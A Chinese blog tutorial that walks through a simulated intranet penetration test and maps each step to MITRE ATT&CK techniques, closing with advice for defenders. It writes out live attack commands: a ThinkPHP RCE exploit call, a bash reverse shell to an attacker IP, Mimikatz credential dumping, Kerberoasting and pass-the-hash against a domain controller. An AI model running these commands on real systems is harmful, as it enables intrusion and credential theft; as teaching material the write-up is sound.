MITRE ATT&CK实战指南:如何映射内网渗透攻击链

低价海外云服务器,香港/美国免备案服务器仅需8.8起

在复杂的内网渗透测试中,技术点往往孤立且分散。攻击者的一次成功入侵,是由一系列有序的战术动作和技术步骤组成的“攻击链”。MITRE ATT&CK框架为我们提供了一张描绘对手行为的全局地图。本文将在一个模拟的企业内网环境中,进行一场实战演练,并将每一个攻击步骤映射到ATT&CK矩阵的具体战术和技术中,旨在展示如何系统性地理解和防御现代网络攻击。

实战环境信息:
* 攻击者机器 (Kali Linux): IP: 192.168.1.100
* 目标网络段: 192.168.56.0/24
* 模拟公网服务器 (Ubuntu 20.04): IP: 192.168.56.101, 运行着存在漏洞的Web应用(如ThinkPHP RCE)。
* 域控制器 (Windows Server 2019): IP: 192.168.56.10, 主机名:DC01, 域名:lab.local
* 内部工作站 (Windows 10): IP: 192.168.56.20, 主机名:WS01, 域用户:alice(普通权限)
* 内部文件服务器 (Windows Server 2016): IP: 192.168.56.30, 主机名:FILESVR01

我们的目标是从外部获取对公网服务器的访问权限,并以此为跳板,逐步渗透至内网,最终夺取域控制器的最高权限。我们将记录每一步,并贴上ATT&CK标签。


第一阶段:初始访问与立足

攻击始于一个暴露在模拟边界(此处简化至同一网络但逻辑隔离)的脆弱点。

1、 漏洞利用获取初始立足点

我们对目标服务器 192.168.56.101 进行扫描,发现其80端口运行着存在远程代码执行漏洞的ThinkPHP框架。使用公开的利用脚本,我们成功在服务器上执行了命令。

# 使用exp脚本进行攻击示例
python3 thinkphp_rce.py -u http://192.168.56.101 -c “whoami”

执行后返回 www-data,确认漏洞利用成功。

  • ATT&CK映射:
    • 战术:初始访问 (Initial Access)
    • 技术:利用面向公众的应用程序 (T1190 – Exploit Public-Facing Application)

提示: 在实际测试中,面对未知应用,信息收集至关重要。使用niktodirb等工具进行目录扫描,或使用searchsploit搜索已知漏洞,是常见的突破口。如果遇到WAF,可能需要尝试绕过技术。

2、 建立持久化反向Shell

单次命令执行不稳定,我们需要建立一个可靠的连接。我们在攻击机上启动监听,并在目标服务器上利用漏洞执行命令,下载并运行一个反向Shell负载。

# 在Kali上监听
nc -lvnp 4444

# 通过漏洞执行的命令(需根据目标环境调整,此处为Linux示例)
python3 thinkphp_rce.py -u http://192.168.56.101 -c “bash -c ‘bash -i >& /dev/tcp/192.168.1.100/4444 0>&1’”

连接建立后,我们获得了一个 www-data 用户的shell。

  • ATT&CK映射:
    • 战术:执行 (Execution)
    • 技术:命令和脚本解释器 (T1059 – Command and Scripting Interpreter), 这里具体是Linux的bash
    • 战术:持久化 (Persistence)
    • 技术:远程访问软件 (T1219 – Remote Access Software), 虽然我们用的是简单netcat,但其功能符合通过外部连接保持访问的特性。

第二阶段:内网侦察与横向移动

获得第一个立足点后,我们开始探索内部网络。

3、 内网信息收集

www-data的shell中,我们开始收集主机和网络信息。

# 查看当前网络配置
ifconfig
cat /etc/hosts

# 探测内网存活主机(由于环境简单,我们已知网段)
for i in {1..254}; do ping -c 1 -W 1 192.168.56.$i | grep ‘from’ & done

# 查看进程、计划任务、是否有其他用户登录痕迹
ps aux
crontab -l
who

我们发现该主机位于 192.168.56.0/24 网段,并且可以访问到其他主机(如 .10, .20, .30)。

  • ATT&CK映射:
    • 战术:发现 (Discovery)
    • 技术:系统网络配置发现 (T1016 – System Network Configuration Discovery)
    • 技术:网络服务扫描 (T1046 – Network Service Scanning)
    • 技术:进程发现 (T1057 – Process Discovery)

4、 权限提升与凭证窃取

www-data权限很低。我们寻找本地提权机会。通过枚举具有SUID位的文件,我们发现一个不常见的、版本较老的文本编辑器可以被滥用。

find / -perm -u=s -type f 2>/dev/null
# 假设找到 /usr/bin/old-editor

利用该编辑器,我们可以读取受保护的文件,如 /etc/shadow。但更关键的是,我们在网站目录下发现了运维人员留下的SSH私钥备份文件 id_rsa.bak

cat /home/ubuntu/.ssh/id_rsa.bak

我们将其复制到攻击机,并赋予正确权限,尝试连接内网其他服务器。结果发现该密钥可以免密登录到 192.168.56.20(WS01)上的一个用户账户。

  • ATT&CK映射:
    • 战术:权限提升 (Privilege Escalation)
    • 技术:利用权限提升漏洞 (T1068 – Exploitation for Privilege Escalation), 这里指滥用SUID文件。
    • 战术:凭证访问 (Credential Access)
    • 技术:从私人密钥文件中窃取凭据 (T1145 – Private Keys), 或更广义的非安全位置的文件中的凭据 (T1552.001 – Credentials In Files)

5、 横向移动至Windows工作站

使用窃取的SSH密钥,我们成功登录到Windows 10工作站(假设它安装了OpenSSH服务)或通过其他方式(如利用SMB漏洞)获得了一个命令行。

ssh -i id_rsa ubuntu@192.168.56.20

现在我们进入了内网的用户工作站。由于它是域成员,我们立即尝试进行域内信息收集。

# 在Windows命令行中
whoami /all
net user /domain
net group “Domain Admins” /domain
net view /domain

我们发现当前用户 LAB\alice 是普通域用户,并获得了域管理员名单。

  • ATT&CK映射:
    • 战术:横向移动 (Lateral Movement)
    • 技术:利用远程服务 (T1210 – Exploitation of Remote Services), 或有效账户的使用 (T1078 – Valid Accounts), 此处利用有效SSH密钥。
    • 战术:发现 (Discovery)
    • 技术:账户发现 (T1087 – Account Discovery)权限组发现 (T1069 – Permission Groups Discovery)

6、 凭证转储与权限升级

目标是获取域管理员权限。我们尝试在当前的Windows工作站上转储内存中的凭据。使用Mimikatz是经典方法,但可能被防病毒软件检测。我们上传一个经过免杀处理的PowerShell版Mimikatz模块或使用Rubeus。

# 以管理员身份运行PowerShell(可能需要先进行UAC绕过)
Invoke-Mimikatz -DumpCreds

转储出了用户 LAB\alice 的NTLM哈希。然而,该用户并非高权限用户。我们注意到 alice 对工作站 WS01 有本地管理员权限。我们利用这个权限,通过“令牌模拟”或“Kerberoasting”等技术,尝试攻击服务账户。

使用Rubeus请求所有SPN账户的TGS票据,并进行离线破解:

.\Rubeus.exe kerberoast /outfile:hashes.txt

然后使用hashcat破解其中一个服务账户的密码。假设我们成功破解了 LAB\sqlservice 账户的密码。

  • ATT&CK映射:
    • 战术:凭证访问 (Credential Access)
    • 技术:操作系统凭证转储 (T1003 – OS Credential Dumping), 具体子技术为LSASS内存。
    • 技术:Kerberoasting (T1558.003 – Kerberoasting)
    • 战术:权限提升 (Privilege Escalation)
    • 技术:域权限提升 (T1484 – Domain Policy Modification) 的旁路,或通过有效账户 (T1078) 获得更高权限账户。

7、 最终目标:攻击域控制器

我们拥有了一个服务账户 LAB\sqlservice。通过查询,发现该账户属于一个对域控制器具有写权限的组(例如 “Server Operators”)。

我们可以使用该账户通过WMI或PsExec在域控制器上执行命令。

# 使用impacket工具套件中的psexec.py
python3 psexec.py lab.local/sqlservice:‘Password123!’@192.168.56.10 -hashes :[NTLM哈希] cmd.exe

或者,如果我们获得了域管理员账户的哈希,可以直接使用“哈希传递”攻击:

python3 wmiexec.py -hashes :[域管理员NTLM哈希] lab.local/administrator@192.168.56.10

成功!我们在域控制器 DC01 上获得了 SYSTEMAdministrator 权限的命令行,可以任意操作域内所有资源,包括黄金票据的创建。

  • ATT&CK映射:
    • 战术:横向移动 (Lateral Movement)
    • 技术:Windows管理规范 (T1047 – Windows Management Instrumentation)远程服务使用 (T1021 – Remote Services) 中的SMB/Windows Admin Shares。
    • 技术:哈希传递 (T1550.002 – Use Alternate Authentication Material: Pass the Hash)
    • 战术:影响 (Impact)
    • 目标达成:域控制器攻陷。

总结与映射全景

回顾整个攻击链,我们从一个外部应用漏洞开始,逐步深入,最终控制了整个域。下表总结了关键步骤与ATT&CK的映射关系:

步骤 描述 主要ATT&CK战术 具体技术(示例)
1 利用ThinkPHP漏洞 初始访问 T1190
2 建立反向Shell 执行、持久化 T1059, T1219
3 内网主机发现 发现 T1016, T1046
4 发现并窃取SSH密钥 权限提升、凭证访问 T1068, T1552.001
5 跳板至Windows工作站 横向移动 T1078, T1210
6 转储凭证、Kerberoasting 凭证访问 T1003, T1558.003
7 哈希传递攻击域控 横向移动 T1550.002

给防御者的建议:
1、 边界防护:及时修补面向公众的应用漏洞,使用WAF。
2、 最小权限原则:严格限制服务账户、普通用户的权限,特别是本地管理员权限的分配。
3、 监控与检测:在关键节点(如DC、服务器)启用详细的日志记录,监控异常登录行为(如非工作时间登录、来源IP异常)、特权账户的Kerberos票据请求(特别是加密类型为RC4的)以及LSASS内存的非法访问。
4、 强身份验证:对高权限账户实施多因素认证,定期更换复杂密码,并尽可能使用受硬件保护的凭据。
5、 网络分段:将不同安全等级的业务划分到不同VLAN,严格限制横向流量,特别是到域控制器的访问。

通过这样的实战映射练习,红队可以更有条理地规划攻击路径,而蓝队则可以清晰地看到防御体系的薄弱环节,并将防守重点聚焦在攻击链的关键节点上,从而实现更有效的安全防护。

THE END
喜欢就关注一下咱们公众号吧
点赞39 分享